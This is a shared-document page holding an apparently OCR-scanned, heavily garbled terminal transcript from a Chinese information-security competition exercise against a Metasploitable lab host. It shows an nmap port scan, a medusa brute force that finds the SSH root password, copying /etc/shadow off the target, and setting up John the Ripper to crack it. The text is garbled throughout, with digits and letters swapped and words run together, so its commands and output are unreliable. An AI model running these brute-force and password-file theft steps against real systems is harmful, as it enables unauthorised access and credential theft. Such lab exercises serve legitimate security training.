信息安全比赛试题密码猜测

《信息安全比赛试题密码猜测》由会员上传分享，免费在线阅读，更多相关内容在学术论文-天天文库。

1、使用namp攻击探测metasl机器的所能提供的服务Discoveredopenport8009/tcpon172.16.180.29Discoveredopenport8180/tcpon17Z.16.180.29CompletedSYNStealthScanat18：10j0.12selapsed(1000totalports)Nmapscanreportfor17Z.16.180Hostisup(0.0010slatency).Notshoun:988closedportsPORTSTATESERUICE^1/tcpopenftp2Z/t

2、cpopensshZ3/tcpopentelnet25/tcpopensmtp53/tcpopendomainB0/tcpopenhttp139/tcpopeniwtbios-ssn*5/tcpopenmicrosoft-ds3306/tcpopenmysq1openpostgrwsq1p009/tcpopenajpl3H180/tcpopenunknounMACAddress：52：54：00：AC：73：B9(QEMUUirtualNIC)Readdatafilesfrom：/usr/share/nmapMmapdone:1IPaddres

3、s(1hostup)scannedin0.18secondsRawpacketssen1001(44.042KB)!Rcud：1001(40.090KB)[root@xc1ientJtt暴力破解ssh系统的root用户密码[rootOxc1ientbin]tt./medusa-h17Z.16.180.53-uroot・Ppassud.txt-MsshledusavZ・1.・1[http://www.foofiis.riEt](C)JoMo-Kun/FoofusworksACCOUNTCHECK：[ssh]Host：17

4、Z.16.180.53(1of1,0compleUser：foot(1i,0complete)Password:123456(1ofZcomplete)ACCOUNTFOUND：[ssh]Host：172.16.180.53User：rootPassword：1Z3456[SUCCES：[rootOxc1ientbin11*通过ssh破解获得的root用户密码，获得metasl的系统的口令文件，并破解系统口令，并截屏破解结果猜测ftp系统的某一用户名、密码，进行登录测试[root(?xc1ientscp17Z・16・180.53：/etc/sh

5、adow.Theauthenticityofhost'17Z.16.180.53(17Z・16.180.53)"can*tbe巳stablisheRSAkeyfingerprintis56：56：24：0f：21：Id：de：a?：2b：ae：61：bl：24：3d：e8：f3・Pleasetype*yes*or*no*Pleasetype*yes*orfno"Pleasetype，yes*or'no'Pleasetype，yes'or*no"Pleasetype*yes*orfno"Pleasetype，yes*or'no'Pleasetyp

6、e，yes'or*no"Pleasetype*yes*orfno"Pleasetype，yes^or'no'Pleasetype*yes*or*no"Areyousureyouuanttocontinueconnecting(yes/no)?yWarning:PermanentlyaddedJ17Z.16.180.53*(RSA)tothg1istofknounhosts•root(?172.16.180・53‘spassword:shadow100Z1180l.ZKB/s00:00[root@xc1ient~[root(?xc1ient^Jt

7、t[rootPxc1ientIsanaconda-ks.cfginstet11.loginsta11.log.syslogshadowjohnmailermakechrre1benchunafsuniqueunshadou[rootGxc1ient~/usr/loca1/john/bin/johnanaconda-ks・cfg・bashrcshadow.bash_history・cshrc.sqlmap/・bash_logoutinsta11・log・ssh/•bash_profileinstai1.log.syslog•tcshrctroot

8、Oxclientm/usr/loca1/john/bin/john--helpUnknounoption:"--help"[rootOxclient^